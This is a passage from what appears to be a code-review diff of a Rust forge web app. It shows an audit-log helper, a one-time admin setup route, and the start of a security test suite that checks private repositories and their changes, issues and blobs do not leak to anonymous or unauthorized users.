| 264 | + | /// It is logged loudly instead, because a silently missing audit trail is worse | |
| 265 | + | /// than a noisy one. | |
| 266 | + | pub async fn audit(state: &AppState, actor: Uuid, action: &str, target: &str) { | |
| 267 | + | if let Err(e) = sqlx::query( | |
| 268 | + | "INSERT INTO audit_log (id, actor_id, action, target) VALUES ($1, $2, $3, $4)", | |
| 269 | + | ) | |
| 270 | + | .bind(new_id()) | |
| 271 | + | .bind(actor) | |
| 272 | + | .bind(action) | |
| 273 | + | .bind(target) | |
| 274 | + | .execute(&state.db) | |
| 275 | + | .await | |
| 276 | + | { | |
| 277 | + | tracing::error!(%action, %target, "audit log write failed: {e}"); | |
| 278 | + | } | |
| 279 | + | } | |
| 280 | + | ||
| 281 | + | fn redirect_ok(msg: &str) -> Response { | |
| 282 | + | Redirect::to(&format!("/settings?notice={}", urlencode(msg))).into_response() | |
| 283 | + | } | |
| 284 | + | ||
| 285 | + | fn redirect_err(msg: &str) -> Response { | |
| 286 | + | Redirect::to(&format!("/settings?error={}", urlencode(msg))).into_response() | |
| 287 | + | } | |
| 288 | + | ||
| 289 | + | pub fn urlencode(s: &str) -> String { | |
| 290 | + | // NON_ALPHANUMERIC is deliberately blunt: this escapes into a query string | |
| 291 | + | // that is then re-rendered into HTML, so encoding more than strictly | |
| 292 | + | // necessary costs nothing and removes a whole class of mistake. | |
| 293 | + | percent_encoding::utf8_percent_encode(s, percent_encoding::NON_ALPHANUMERIC).to_string() | |
| 294 | + | } | |
Acrates/df-web/src/routes/setup.rs+63−0
| @@ −0,0 +1,63 @@ | |||
| 1 | + | //! One-time site-admin bootstrap (decided; mirrors the Ory console's pattern). | |
| 2 | + | ||
| 3 | + | use axum::extract::State; | |
| 4 | + | use axum::response::{IntoResponse, Response}; | |
| 5 | + | use axum::Form; | |
| 6 | + | use df_auth::provisioning; | |
| 7 | + | use serde::Deserialize; | |
| 8 | + | ||
| 9 | + | use crate::error::{AppError, AppResult}; | |
| 10 | + | use crate::state::{AppState, CsrfToken, CurrentUser, Nonce}; | |
| 11 | + | use crate::views::{self, Chrome}; | |
| 12 | + | ||
| 13 | + | pub async fn show( | |
| 14 | + | CurrentUser(user): CurrentUser, | |
| 15 | + | CsrfToken(csrf): CsrfToken, | |
| 16 | + | Nonce(nonce): Nonce, | |
| 17 | + | ) -> AppResult<Response> { | |
| 18 | + | // Claiming admin attaches it to an account, so one is required first. | |
| 19 | + | let Some(user) = user else { | |
| 20 | + | return Err(AppError::Unauthorized); | |
| 21 | + | }; | |
| 22 | + | ||
| 23 | + | Ok(views::page( | |
| 24 | + | Chrome { title: "Setup", user: Some(&user), csrf: &csrf, nonce: &nonce }, | |
| 25 | + | views::pages::setup(&csrf, None), | |
| 26 | + | ) | |
| 27 | + | .into_response()) | |
| 28 | + | } | |
| 29 | + | ||
| 30 | + | #[derive(Deserialize)] | |
| 31 | + | pub struct SetupForm { | |
| 32 | + | pub token: String, | |
| 33 | + | } | |
| 34 | + | ||
| 35 | + | pub async fn claim( | |
| 36 | + | State(state): State<AppState>, | |
| 37 | + | CurrentUser(user): CurrentUser, | |
| 38 | + | CsrfToken(csrf): CsrfToken, | |
| 39 | + | Nonce(nonce): Nonce, | |
| 40 | + | Form(form): Form<SetupForm>, | |
| 41 | + | ) -> AppResult<Response> { | |
| 42 | + | let Some(user) = user else { | |
| 43 | + | return Err(AppError::Unauthorized); | |
| 44 | + | }; | |
| 45 | + | ||
| 46 | + | let ok = provisioning::claim_admin(&state.db, user.id, form.token.trim()).await?; | |
| 47 | + | ||
| 48 | + | if !ok { | |
| 49 | + | tracing::warn!(user = %user.id, "setup token rejected"); | |
| 50 | + | return Ok(views::page( | |
| 51 | + | Chrome { title: "Setup", user: Some(&user), csrf: &csrf, nonce: &nonce }, | |
| 52 | + | views::pages::setup(&csrf, Some("That token is not valid, or has already been used.")), | |
| 53 | + | ) | |
| 54 | + | .into_response()); | |
| 55 | + | } | |
| 56 | + | ||
| 57 | + | tracing::info!(user = %user.id, "site admin claimed"); | |
| 58 | + | Ok(views::page( | |
| 59 | + | Chrome { title: "Setup complete", user: Some(&user), csrf: &csrf, nonce: &nonce }, | |
| 60 | + | views::pages::setup_done(), | |
| 61 | + | ) | |
| 62 | + | .into_response()) | |
| 63 | + | } | |
Acrates/df-web/src/security_tests.rs1000 lines+1000−0
| @@ −0,0 +1,1000 @@ | |||
| 1 | + | //! The §9 security checklist, one test per item (M6). | |
| 2 | + | //! | |
| 3 | + | //! > **Private repo leakage.** The most common forge vulnerability class. […] | |
| 4 | + | //! > Deliberately test: private repo object access via a public fork's URL, blob | |
| 5 | + | //! > access by OID without a reachable ref, change and issue numbers enumerated | |
| 6 | + | //! > across visibility boundaries, and search results crossing repos. Every one | |
| 7 | + | //! > of these has been a real CVE in a real forge. | |
| 8 | + | //! | |
| 9 | + | //! These drive the **real router** — every middleware, every extractor, every | |
| 10 | + | //! handler — through `tower::ServiceExt::oneshot`. Testing the SQL directly | |
| 11 | + | //! would miss exactly the bugs that matter here, which live in the seam between | |
| 12 | + | //! a handler and the authorization it forgot to call. | |
| 13 | + | //! | |
| 14 | + | //! They need a throwaway Postgres. Set `DF_TEST_DATABASE_URL`; without it they | |
| 15 | + | //! skip with a warning, and `DF_REQUIRE_DB=1` turns that skip into a failure so | |
| 16 | + | //! CI cannot quietly stop running them. | |
| 17 | + | //! | |
| 18 | + | //! ```sh | |
| 19 | + | //! docker run -d --name df-pgtest -e POSTGRES_PASSWORD=x -e POSTGRES_DB=t \ | |
| 20 | + | //! -p 55432:5432 postgres:17-alpine | |
| 21 | + | //! DF_TEST_DATABASE_URL=postgres://postgres:x@127.0.0.1:55432/t \ | |
| 22 | + | //! cargo test -p df-web security | |
| 23 | + | //! ``` | |
| 24 | + | //! | |
| 25 | + | //! Each test runs in its own Postgres **schema**, created and dropped around it, | |
| 26 | + | //! so they neither collide nor need ordering. | |
| 27 | + | ||
| 28 | + | #![cfg(test)] | |
| 29 | + | ||
| 30 | + | use std::path::Path; | |
| 31 | + | use std::sync::Arc; | |
| 32 | + | ||
| 33 | + | use axum::body::Body; | |
| 34 | + | use axum::http::{Request, StatusCode}; | |
| 35 | + | use axum::response::Response; | |
| 36 | + | use df_store::{ | |
| 37 | + | BlameLine, Blob, Bookmark, ConflictedFile, Diff, DiffOpts, EditOutcome, MergeOutcome, RepoId, | |
| 38 | + | RepoStore, Result as SResult, RevId, Revision, Signature, StoreError, TreeEntry, | |
| 39 | + | }; | |
| 40 | + | use sqlx::{Executor, PgPool}; | |
| 41 | + | use tower::ServiceExt; | |
| 42 | + | use uuid::Uuid; | |
| 43 | + | ||
| 44 | + | use crate::config::Config; | |
| 45 | + | use crate::state::{AppState, Inner}; | |
| 46 | + | ||
| 47 | + | // ─── harness ───────────────────────────────────────────────────────────────── | |
| 48 | + | ||
| 49 | + | /// A store that has nothing in it. | |
| 50 | + | /// | |
| 51 | + | /// The visibility tests are about *authorization*, and authorization must be | |
| 52 | + | /// decided before storage is touched. A store that refuses everything makes that | |
| 53 | + | /// falsifiable: if a handler ever reaches storage on an unauthorized request, | |
| 54 | + | /// the response changes from 404 to 500 and the test fails. | |
| 55 | + | struct EmptyStore; | |
| 56 | + | ||
| 57 | + | #[async_trait::async_trait] | |
| 58 | + | impl RepoStore for EmptyStore { | |
| 59 | + | async fn create(&self, _: RepoId, _: &str) -> SResult<()> { | |
| 60 | + | Ok(()) | |
| 61 | + | } | |
| 62 | + | async fn configure_receive_validation(&self, _: RepoId, _: &str) -> SResult<()> { | |
| 63 | + | Ok(()) | |
| 64 | + | } | |
| 65 | + | async fn delete(&self, _: RepoId) -> SResult<()> { | |
| 66 | + | Ok(()) | |
| 67 | + | } | |
| 68 | + | async fn exists(&self, _: RepoId) -> bool { | |
| 69 | + | true | |
| 70 | + | } | |
| 71 | + | async fn is_empty(&self, _: RepoId) -> SResult<bool> { | |
| 72 | + | Ok(true) | |
| 73 | + | } | |
| 74 | + | async fn list_tree(&self, _: RepoId, _: &RevId, _: &Path) -> SResult<Vec<TreeEntry>> { | |
| 75 | + | Err(StoreError::NoSuchRevision) | |
| 76 | + | } | |
| 77 | + | async fn read_blob(&self, _: RepoId, _: &RevId, _: &Path) -> SResult<Blob> { | |
| 78 | + | Err(StoreError::NoSuchRevision) | |
| 79 | + | } | |
| 80 | + | async fn diff(&self, _: RepoId, _: &RevId, _: &RevId, _: DiffOpts) -> SResult<Diff> { | |
| 81 | + | Err(StoreError::NoSuchRevision) | |
| 82 | + | } | |
| 83 | + | async fn diff_from_parent(&self, _: RepoId, _: &RevId, _: DiffOpts) -> SResult<Diff> { | |
| 84 | + | Err(StoreError::NoSuchRevision) | |
| 85 | + | } | |
| 86 | + | async fn log(&self, _: RepoId, _: &RevId, _: usize) -> SResult<Vec<Revision>> { | |
| 87 | + | Err(StoreError::NoSuchRevision) | |
| 88 | + | } | |
| 89 | + | async fn revision(&self, _: RepoId, _: &RevId) -> SResult<Revision> { | |
| 90 | + | Err(StoreError::NoSuchRevision) | |
| 91 | + | } | |
| 92 | + | async fn bookmarks(&self, _: RepoId) -> SResult<Vec<Bookmark>> { | |
| 93 | + | Ok(vec![]) | |
| 94 | + | } | |
| 95 | + | async fn merge_base(&self, _: RepoId, _: &RevId, _: &RevId) -> SResult<Option<RevId>> { | |
| 96 | + | Ok(None) | |
| 97 | + | } | |
| 98 | + | async fn is_ancestor(&self, _: RepoId, _: &RevId, _: &RevId) -> SResult<bool> { | |
| 99 | + | Ok(false) | |
| 100 | + | } | |
| 101 | + | async fn resolve(&self, _: RepoId, _: &str) -> SResult<RevId> { | |
| 102 | + | Err(StoreError::NoSuchRevision) | |
| 103 | + | } | |
| 104 | + | async fn merge( | |
| 105 | + | &self, | |
| 106 | + | _: RepoId, | |
| 107 | + | _: &str, | |
| 108 | + | _: &RevId, | |
| 109 | + | _: &str, | |
| 110 | + | _: &Signature, | |
| 111 | + | ) -> SResult<MergeOutcome> { | |
| 112 | + | Err(StoreError::NoSuchRepo) | |
| 113 | + | } | |
| 114 | + | async fn commit_file( | |
| 115 | + | &self, | |
| 116 | + | _: RepoId, | |
| 117 | + | _: &str, | |
| 118 | + | _: &RevId, | |
| 119 | + | _: &str, | |
| 120 | + | _: Vec<u8>, | |
| 121 | + | _: &str, | |
| 122 | + | _: &Signature, | |
| 123 | + | ) -> SResult<EditOutcome> { | |
| 124 | + | Err(StoreError::NoSuchRepo) | |
| 125 | + | } | |
| 126 | + | async fn conflicts(&self, _: RepoId, _: &RevId) -> SResult<Vec<ConflictedFile>> { | |
| 127 | + | Ok(vec![]) | |
| 128 | + | } | |
| 129 | + | async fn size_bytes(&self, _: RepoId) -> SResult<u64> { | |
| 130 | + | Ok(0) | |
| 131 | + | } | |
| 132 | + | async fn blame(&self, _: RepoId, _: &RevId, _: &Path) -> SResult<Vec<BlameLine>> { | |
| 133 | + | Err(StoreError::NoSuchRevision) | |
| 134 | + | } | |
| 135 | + | async fn last_commit_for_path( | |
| 136 | + | &self, | |
| 137 | + | _: RepoId, | |
| 138 | + | _: &RevId, | |
| 139 | + | _: &Path, | |
| 140 | + | ) -> SResult<Option<Revision>> { | |
| 141 | + | Ok(None) | |
| 142 | + | } | |
| 143 | + | } | |
| 144 | + | ||
| 145 | + | /// Enough provider metadata for `Oidc` to construct without a network call. | |
| 146 | + | const METADATA: &str = r#"{ | |
| 147 | + | "issuer": "https://oidc.test/", | |
| 148 | + | "authorization_endpoint": "https://oidc.test/auth", | |
| 149 | + | "token_endpoint": "https://oidc.test/token", | |
| 150 | + | "jwks_uri": "https://oidc.test/jwks", | |
| 151 | + | "response_types_supported": ["code"], | |
| 152 | + | "subject_types_supported": ["public"], | |
| 153 | + | "id_token_signing_alg_values_supported": ["RS256"] | |
| 154 | + | }"#; | |
| 155 | + | ||
| 156 | + | struct Harness { | |
| 157 | + | app: axum::Router, | |
| 158 | + | db: PgPool, | |
| 159 | + | schema: String, | |
| 160 | + | } | |
| 161 | + | ||
| 162 | + | impl Harness { | |
| 163 | + | /// A GET as an anonymous visitor. | |
| 164 | + | async fn get(&self, path: &str) -> Response { | |
| 165 | + | self.request(path, None).await | |
| 166 | + | } | |
| 167 | + | ||
| 168 | + | /// A GET as a signed-in user. | |
| 169 | + | async fn get_as(&self, path: &str, session: &Uuid) -> Response { | |
| 170 | + | self.request(path, Some(*session)).await | |
| 171 | + | } | |
| 172 | + | ||
| 173 | + | async fn request(&self, path: &str, session: Option<Uuid>) -> Response { | |
| 174 | + | let mut req = Request::builder().uri(path).method("GET"); | |
| 175 | + | if let Some(s) = session { | |
| 176 | + | req = req.header("cookie", format!("{}={s}", df_auth::session::COOKIE_NAME)); | |
| 177 | + | } | |
| 178 | + | self.app | |
| 179 | + | .clone() | |
| 180 | + | .oneshot(req.body(Body::empty()).expect("request")) | |
| 181 | + | .await | |
| 182 | + | .expect("response") | |
| 183 | + | } | |
| 184 | + | ||
| 185 | + | async fn body(&self, res: Response) -> String { | |
| 186 | + | let bytes = axum::body::to_bytes(res.into_body(), 4 * 1024 * 1024) | |
| 187 | + | .await | |
| 188 | + | .expect("body"); | |
| 189 | + | String::from_utf8_lossy(&bytes).into_owned() | |
| 190 | + | } | |
| 191 | + | ||
| 192 | + | async fn drop_schema(&self) { | |
| 193 | + | let _ = self | |
| 194 | + | .db | |
| 195 | + | .execute(format!("DROP SCHEMA IF EXISTS {} CASCADE", self.schema).as_str()) | |
| 196 | + | .await; | |
| 197 | + | } | |
| 198 | + | } | |
| 199 | + | ||
| 200 | + | /// Send `tracing` output to the test's captured stderr, once per process. | |
| 201 | + | /// | |
| 202 | + | /// Without this an internal error is a bare 500 in the assertion and the reason | |
| 203 | + | /// is thrown away — which is exactly the information a failing security test | |
| 204 | + | /// needs to hand over. | |
| 205 | + | fn init_tracing() { | |
| 206 | + | use std::sync::Once; | |
| 207 | + | static ONCE: Once = Once::new(); | |
| 208 | + | ONCE.call_once(|| { | |
| 209 | + | let _ = tracing_subscriber::fmt() | |
| 210 | + | .with_env_filter( | |
| 211 | + | tracing_subscriber::EnvFilter::try_from_default_env() | |
| 212 | + | .unwrap_or_else(|_| tracing_subscriber::EnvFilter::new("df_web=error")), | |
| 213 | + | ) | |
| 214 | + | .with_test_writer() | |
| 215 | + | .try_init(); | |
| 216 | + | }); | |
| 217 | + | } | |
| 218 | + | ||
| 219 | + | /// Build a harness, or `None` when no test database is configured. | |
| 220 | + | async fn harness(name: &str) -> Option<Harness> { | |
| 221 | + | init_tracing(); | |
| 222 | + | ||
| 223 | + | let Ok(url) = std::env::var("DF_TEST_DATABASE_URL") else { | |
| 224 | + | if std::env::var_os("DF_REQUIRE_DB").is_some() { | |
| 225 | + | panic!("DF_REQUIRE_DB is set but DF_TEST_DATABASE_URL is not"); | |
| 226 | + | } | |
| 227 | + | eprintln!("warning: DF_TEST_DATABASE_URL unset, security test `{name}` skipped"); | |
| 228 | + | return None; | |
| 229 | + | }; | |
| 230 | + | ||
| 231 | + | // One schema per test, named after the test. Deriving it from the name | |
| 232 | + | // rather than from a random id makes collisions impossible — two tests | |
| 233 | + | // cannot share a name — so they stay independent while running in parallel. | |
| 234 | + | let schema: String = format!("df_test_{name}") | |
| 235 | + | .chars() | |
| 236 | + | .filter(|c| c.is_ascii_alphanumeric() || *c == '_') | |
| 237 | + | .take(60) | |
| 238 | + | .collect(); | |
| 239 | + | ||
| 240 | + | let db = sqlx::postgres::PgPoolOptions::new() | |
| 241 | + | .max_connections(4) | |
| 242 | + | .after_connect({ | |
| 243 | + | let schema = schema.clone(); | |
| 244 | + | move |conn, _| { | |
| 245 | + | let schema = schema.clone(); | |
| 246 | + | Box::pin(async move { | |
| 247 | + | conn.execute(format!("SET search_path TO {schema}, public").as_str()) | |
| 248 | + | .await?; | |
| 249 | + | Ok(()) | |
| 250 | + | }) | |
| 251 | + | } | |
| 252 | + | }) | |
| 253 | + | .connect(&url) | |
| 254 | + | .await | |
| 255 | + | .expect("connecting to DF_TEST_DATABASE_URL"); | |
| 256 | + | ||
| 257 | + | // Dropped first: a previous run that panicked before its cleanup would | |
| 258 | + | // otherwise leave rows behind and make this run fail for the wrong reason. | |
| 259 | + | db.execute(format!("DROP SCHEMA IF EXISTS {schema} CASCADE").as_str()) | |
| 260 | + | .await | |
| 261 | + | .expect("dropping any leftover test schema"); | |
| 262 | + | db.execute(format!("CREATE SCHEMA {schema}").as_str()) | |
| 263 | + | .await | |
| 264 | + | .expect("creating the test schema"); | |
| 265 | + | ||
| 266 | + | // Extensions are database-wide, and `CREATE EXTENSION` installs into the | |
| 267 | + | // first schema on the search path. Pinning them to `public` up front stops | |
| 268 | + | // the first test that runs from installing them into its own schema and | |
| 269 | + | // taking them away when it drops it — the `IF NOT EXISTS` in the migration | |
| 270 | + | // then correctly does nothing. | |
| 271 | + | // `CREATE EXTENSION IF NOT EXISTS` is not safe to run concurrently: the | |
| 272 | + | // existence check and the insert are not atomic, so test binaries running | |
| 273 | + | // in parallel against a *fresh* database collide on `pg_extension`'s unique | |
| 274 | + | // index and fail here. An advisory lock serialises just this step. Only the | |
| 275 | + | // first run on a new database ever contends — which is exactly the run | |
| 276 | + | // where the failure is most confusing, because it looks like the security | |
| 277 | + | // tests themselves are broken. | |
| 278 | + | const EXTENSION_LOCK: i64 = 0x6466_5F65_7874; // "df_ext" | |
| 279 | + | ||
| 280 | + | let mut conn = db.acquire().await.expect("a connection for extension setup"); | |
| 281 | + | ||
| 282 | + | sqlx::query("SELECT pg_advisory_lock($1)") | |
| 283 | + | .bind(EXTENSION_LOCK) | |
| 284 | + | .execute(&mut *conn) | |
| 285 | + | .await | |
| 286 | + | .expect("taking the extension lock"); | |
| 287 | + | ||
| 288 | + | let installed = async { | |
| 289 | + | for ext in ["citext", "pg_trgm"] { | |
| 290 | + | conn.execute(format!("CREATE EXTENSION IF NOT EXISTS {ext} SCHEMA public").as_str()) | |
| 291 | + | .await?; | |
| 292 | + | } | |
| 293 | + | Ok::<_, sqlx::Error>(()) | |
| 294 | + | } | |
| 295 | + | .await; | |
| 296 | + | ||
| 297 | + | // Released whether or not the install worked, so a failure here does not | |
| 298 | + | // wedge every other test binary waiting on the lock. | |
| 299 | + | sqlx::query("SELECT pg_advisory_unlock($1)") | |
| 300 | + | .bind(EXTENSION_LOCK) | |
| 301 | + | .execute(&mut *conn) | |
| 302 | + | .await | |
| 303 | + | .expect("releasing the extension lock"); | |
| 304 | + | ||
| 305 | + | installed.expect("installing an extension into public"); | |
| 306 | + | drop(conn); | |
| 307 | + | ||
| 308 | + | df_db::migrate(&db).await.expect("migrations"); | |
| 309 | + | ||
| 310 | + | // The schema on the search path must be the one that owns the tables. If a | |
| 311 | + | // previous run ever migrated into `public`, every query here would silently | |
| 312 | + | // read *that* schema instead — the tests would still pass, against the wrong | |
| 313 | + | // data, until a new migration made them disagree. Caught here rather than | |
| 314 | + | // three layers down in a handler. | |
| 315 | + | let owned: Option<String> = sqlx::query_scalar(&format!( | |
| 316 | + | "SELECT to_regclass('{schema}.repos')::text" | |
| 317 | + | )) | |
| 318 | + | .fetch_one(&db) | |
| 319 | + | .await | |
| 320 | + | .expect("checking schema ownership"); | |
| 321 | + | assert!( | |
| 322 | + | owned.is_some(), | |
| 323 | + | "migrations did not land in {schema}; is there a stale dogfood schema in `public`? \ | |
| 324 | + | Reset it with: DROP SCHEMA public CASCADE; CREATE SCHEMA public;" | |
| 325 | + | ); | |
| 326 | + | ||
| 327 | + | let config = Config::for_tests(); | |
| 328 | + | let oidc = df_auth::Oidc::from_metadata_json( | |
| 329 | + | METADATA, | |
| 330 | + | "test-client", | |
| 331 | + | "test-secret", | |
| 332 | + | "https://dogfood.test/auth/callback", | |
| 333 | + | "openid profile email", | |
| 334 | + | ) | |
| 335 | + | .expect("test oidc client"); | |
| 336 | + | ||
| 337 | + | let state = AppState(Arc::new(Inner { | |
| 338 | + | db: db.clone(), | |
| 339 | + | oidc, | |
| 340 | + | config, | |
| 341 | + | store: Arc::new(EmptyStore), | |
| 342 | + | limiter: crate::ratelimit::Limiter::new(), | |
| 343 | + | })); | |
| 344 | + | ||
| 345 | + | Some(Harness { | |
| 346 | + | app: crate::build_router(state), | |
| 347 | + | db, | |
| 348 | + | schema, | |
| 349 | + | }) | |
| 350 | + | } | |
| 351 | + | ||
| 352 | + | /// Seed a user and an active session, returning `(user_id, session_id)`. | |
| 353 | + | async fn user(db: &PgPool, handle: &str, admin: bool) -> (Uuid, Uuid) { | |
| 354 | + | let id = Uuid::now_v7(); | |
| 355 | + | sqlx::query( | |
| 356 | + | "INSERT INTO users (id, subject, handle, display_name, is_admin) | |
| 357 | + | VALUES ($1, $2, $3, $3, $4)", | |
| 358 | + | ) | |
| 359 | + | .bind(id) | |
| 360 | + | .bind(format!("sub-{handle}")) | |
| 361 | + | .bind(handle) | |
| 362 | + | .bind(admin) | |
| 363 | + | .execute(db) | |
| 364 | + | .await | |
| 365 | + | .expect("seeding a user"); | |
| 366 | + | ||
| 367 | + | let session = Uuid::now_v7(); | |
| 368 | + | sqlx::query("INSERT INTO sessions (id, user_id, expires_at) VALUES ($1, $2, now() + '14 days')") | |
| 369 | + | .bind(session) | |
| 370 | + | .bind(id) | |
| 371 | + | .execute(db) | |
| 372 | + | .await | |
| 373 | + | .expect("seeding a session"); | |
| 374 | + | ||
| 375 | + | (id, session) | |
| 376 | + | } | |
| 377 | + | ||
| 378 | + | /// Seed a repository owned by `owner`, returning its id. | |
| 379 | + | async fn repo(db: &PgPool, owner: Uuid, name: &str, private: bool) -> Uuid { | |
| 380 | + | let id = Uuid::now_v7(); | |
| 381 | + | sqlx::query( | |
| 382 | + | "INSERT INTO repos (id, owner_kind, owner_user_id, name, visibility, default_bookmark) | |
| 383 | + | VALUES ($1, 'user', $2, $3, $4::visibility, 'main')", | |
| 384 | + | ) | |
| 385 | + | .bind(id) | |
| 386 | + | .bind(owner) | |
| 387 | + | .bind(name) | |
| 388 | + | .bind(if private { "private" } else { "public" }) | |
| 389 | + | .execute(db) | |
| 390 | + | .await | |
| 391 | + | .expect("seeding a repo"); | |
| 392 | + | ||
| 393 | + | sqlx::query("INSERT INTO repo_counters (repo_id) VALUES ($1)") | |
| 394 | + | .bind(id) | |
| 395 | + | .execute(db) | |
| 396 | + | .await | |
| 397 | + | .expect("seeding counters"); | |
| 398 | + | ||
| 399 | + | id | |
| 400 | + | } | |
| 401 | + | ||
| 402 | + | /// Seed a change with one revision. | |
| 403 | + | async fn change(db: &PgPool, repo_id: Uuid, number: i64, change_id: &str, title: &str) -> Uuid { | |
| 404 | + | let id = Uuid::now_v7(); | |
| 405 | + | sqlx::query( | |
| 406 | + | "INSERT INTO changes (id, repo_id, change_id, number, title, description, | |
| 407 | + | state, target_bookmark) | |
| 408 | + | VALUES ($1, $2, $3, $4, $5, 'secret description', 'open', 'main')", | |
| 409 | + | ) | |
| 410 | + | .bind(id) | |
| 411 | + | .bind(repo_id) | |
| 412 | + | .bind(change_id) | |
| 413 | + | .bind(number) | |
| 414 | + | .bind(title) | |
| 415 | + | .execute(db) | |
| 416 | + | .await | |
| 417 | + | .expect("seeding a change"); | |
| 418 | + | ||
| 419 | + | sqlx::query( | |
| 420 | + | "INSERT INTO revisions (id, change_id_fk, rev, seq, author_name, author_email, | |
| 421 | + | authored_at, message) | |
| 422 | + | VALUES ($1, $2, $3, 1, 'A', 'a@b.c', now(), $4)", | |
| 423 | + | ) | |
| 424 | + | .bind(Uuid::now_v7()) | |
| 425 | + | .bind(id) | |
| 426 | + | .bind(format!("{:040x}", number)) | |
| 427 | + | .bind(title) | |
| 428 | + | .execute(db) | |
| 429 | + | .await | |
| 430 | + | .expect("seeding a revision"); | |
| 431 | + | ||
| 432 | + | id | |
| 433 | + | } | |
| 434 | + | ||
| 435 | + | async fn issue(db: &PgPool, repo_id: Uuid, number: i64, title: &str) -> Uuid { | |
| 436 | + | let id = Uuid::now_v7(); | |
| 437 | + | sqlx::query( | |
| 438 | + | "INSERT INTO issues (id, repo_id, number, title, body) | |
| 439 | + | VALUES ($1, $2, $3, $4, 'secret issue body')", | |
| 440 | + | ) | |
| 441 | + | .bind(id) | |
| 442 | + | .bind(repo_id) | |
| 443 | + | .bind(number) | |
| 444 | + | .bind(title) | |
| 445 | + | .execute(db) | |
| 446 | + | .await | |
| 447 | + | .expect("seeding an issue"); | |
| 448 | + | id | |
| 449 | + | } | |
| 450 | + | ||
| 451 | + | // ─── the checklist ─────────────────────────────────────────────────────────── | |
| 452 | + | ||
| 453 | + | /// > Return an identical 404 for a private repo and a nonexistent repo. | |
| 454 | + | #[tokio::test] | |
| 455 | + | async fn a_private_repo_and_a_nonexistent_repo_are_indistinguishable() { | |
| 456 | + | let Some(h) = harness("identical_404").await else { return }; | |
| 457 | + | ||
| 458 | + | let (alice, _) = user(&h.db, "alice", false).await; | |
| 459 | + | // A name that cannot appear in the chrome for any other reason — `hidden` | |
| 460 | + | // would also match `aria-hidden` and `<input type="hidden">`, and the | |
| 461 | + | // assertion would then fail for a reason that has nothing to do with the | |
| 462 | + | // property being tested. | |
| 463 | + | repo(&h.db, alice, "unmentionable-repo", true).await; | |
| 464 | + | ||
| 465 | + | let private = h.get("/alice/unmentionable-repo").await; | |
| 466 | + | let missing = h.get("/alice/does-not-exist").await; | |
| 467 | + | ||
| 468 | + | assert_eq!(private.status(), StatusCode::NOT_FOUND); | |
| 469 | + | assert_eq!(missing.status(), StatusCode::NOT_FOUND); | |
| 470 | + | ||
| 471 | + | let a = h.body(private).await; | |
| 472 | + | let b = h.body(missing).await; | |
| 473 | + | assert_eq!(a, b, "the two responses must be byte-identical"); | |
| 474 | + | assert!( | |
| 475 | + | !a.contains("unmentionable-repo"), | |
| 476 | + | "the repository name leaked into the 404" | |
| 477 | + | ); | |
| 478 | + | ||
| 479 | + | h.drop_schema().await; | |
| 480 | + | } | |
| 481 | + | ||
| 482 | + | /// > Being authenticated is not authorization. | |
| 483 | + | #[tokio::test] | |
| 484 | + | async fn a_signed_in_stranger_cannot_reach_a_private_repo() { | |
| 485 | + | let Some(h) = harness("stranger").await else { return }; | |
| 486 | + | ||
| 487 | + | let (alice, _) = user(&h.db, "alice", false).await; | |
| 488 | + | let (_, mallory_session) = user(&h.db, "mallory", false).await; | |
| 489 | + | repo(&h.db, alice, "hidden", true).await; | |
| 490 | + | ||
| 491 | + | for path in [ | |
| 492 | + | "/alice/hidden", | |
| 493 | + | "/alice/hidden/log", | |
| 494 | + | "/alice/hidden/bookmarks", | |
| 495 | + | "/alice/hidden/changes", | |
| 496 | + | "/alice/hidden/issues", | |
| 497 | + | "/alice/hidden/settings", | |
| 498 | + | "/alice/hidden/tree/main/", | |
| 499 | + | "/alice/hidden/blob/main/README.md", | |
| 500 | + | "/alice/hidden/raw/main/README.md", | |
| 501 | + | ] { | |
| 502 | + | let res = h.get_as(path, &mallory_session).await; | |
| 503 | + | assert_eq!(res.status(), StatusCode::NOT_FOUND, "{path} was reachable"); | |
| 504 | + | } | |
| 505 | + | ||
| 506 | + | h.drop_schema().await; | |
| 507 | + | } | |
| 508 | + | ||
| 509 | + | /// > Change and issue numbers enumerated across visibility boundaries. | |
| 510 | + | #[tokio::test] | |
| 511 | + | async fn change_and_issue_numbers_cannot_be_enumerated_across_a_boundary() { | |
| 512 | + | let Some(h) = harness("enumeration").await else { return }; | |
| 513 | + | ||
| 514 | + | let (alice, _) = user(&h.db, "alice", false).await; | |
| 515 | + | let (_, mallory) = user(&h.db, "mallory", false).await; | |
| 516 | + | ||
| 517 | + | let hidden = repo(&h.db, alice, "hidden", true).await; | |
| 518 | + | change(&h.db, hidden, 1, "klxqnvpqlnlvtkmuqmtmxktlnvnomvwv", "secret change title").await; | |
| 519 | + | issue(&h.db, hidden, 1, "secret issue title").await; | |
| 520 | + | ||
| 521 | + | for path in [ | |
| 522 | + | "/alice/hidden/changes/1", | |
| 523 | + | "/alice/hidden/changes/klxqnvpq", | |
| 524 | + | "/alice/hidden/changes/1/files", | |
| 525 | + | "/alice/hidden/changes/1/revisions", | |
| 526 | + | "/alice/hidden/changes/1/conflicts", | |
| 527 | + | "/alice/hidden/issues/1", | |
| 528 | + | "/alice/hidden/stacks/klxqnvpqlnlvtkmuqmtmxktlnvnomvwv", | |
| 529 | + | ] { | |
| 530 | + | for session in [None, Some(mallory)] { | |
| 531 | + | let res = h.request(path, session).await; | |
| 532 | + | assert_eq!(res.status(), StatusCode::NOT_FOUND, "{path} was reachable"); | |
| 533 | + | let body = h.body(res).await; | |
| 534 | + | assert!(!body.contains("secret"), "{path} leaked content: {body}"); | |
| 535 | + | } | |
| 536 | + | } | |
| 537 | + | ||
| 538 | + | h.drop_schema().await; | |
| 539 | + | } | |
| 540 | + | ||
| 541 | + | /// > Blob access by OID without a reachable ref. | |
| 542 | + | /// | |
| 543 | + | /// The route requires a repository the viewer can read *before* it resolves any | |
| 544 | + | /// revision, so a raw object id is not a way around visibility. The store used | |
| 545 | + | /// here refuses every read, which is what proves the 404 came from | |
| 546 | + | /// authorization rather than from a missing object. | |
| 547 | + | #[tokio::test] | |
| 548 | + | async fn a_raw_object_id_is_not_a_way_around_visibility() { | |
| 549 | + | let Some(h) = harness("blob_by_oid").await else { return }; | |
| 550 | + | ||
| 551 | + | let (alice, _) = user(&h.db, "alice", false).await; | |
| 552 | + | repo(&h.db, alice, "hidden", true).await; | |
| 553 | + | ||
| 554 | + | let oid = "0123456789abcdef0123456789abcdef01234567"; | |
| 555 | + | for path in [ | |
| 556 | + | format!("/alice/hidden/blob/{oid}/src/secret.rs"), | |
| 557 | + | format!("/alice/hidden/raw/{oid}/src/secret.rs"), | |
| 558 | + | format!("/alice/hidden/tree/{oid}/"), | |
